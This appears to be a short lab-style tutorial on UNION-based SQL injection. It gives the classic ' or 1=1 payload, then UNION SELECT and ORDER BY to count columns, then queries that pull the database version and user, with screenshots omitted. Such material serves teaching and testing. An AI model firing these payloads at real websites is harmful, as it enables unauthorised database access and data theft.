# Union Injection

<figure><img src="/files/DpnD52jCx9fITw26xkx5" alt=""><figcaption></figcaption></figure>

First we need to visit the page

<figure><img src="/files/KZ92yRh7KX1XGb9LSfRw" alt=""><figcaption></figcaption></figure>

Then we will try the classic sql injection that will return everything

```
' or 1=1;-- -
```

<figure><img src="/files/dDgo3xlpJ2qU8HmK6pPj" alt=""><figcaption></figcaption></figure>

Then try just to evaluate the correct number of columns in the table.

We can see here we used the union and order by to determine that there is only 4 columns in the table.

```
' UNION SELECT 1,2,3,4-- -
```

<figure><img src="/files/3SQEZjDlzSVvGNe36j2h" alt=""><figcaption></figcaption></figure>

```
' ORDER BY 4-- -
```

<figure><img src="/files/u3KenVIDVh4j49FiVdQS" alt=""><figcaption></figcaption></figure>

```
' UNION SELECT 1,@@version,3,4-- -
```

<figure><img src="/files/dgkBh7GwUIRJHyIHxYcc" alt=""><figcaption></figcaption></figure>

```
' UNION select 1,user(),3,4-- -
```

<figure><img src="/files/IOvLbxTQf3zU2RP2op9F" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/YM4QMTJVJ8iJQIYg7KlI" alt=""><figcaption></figcaption></figure>


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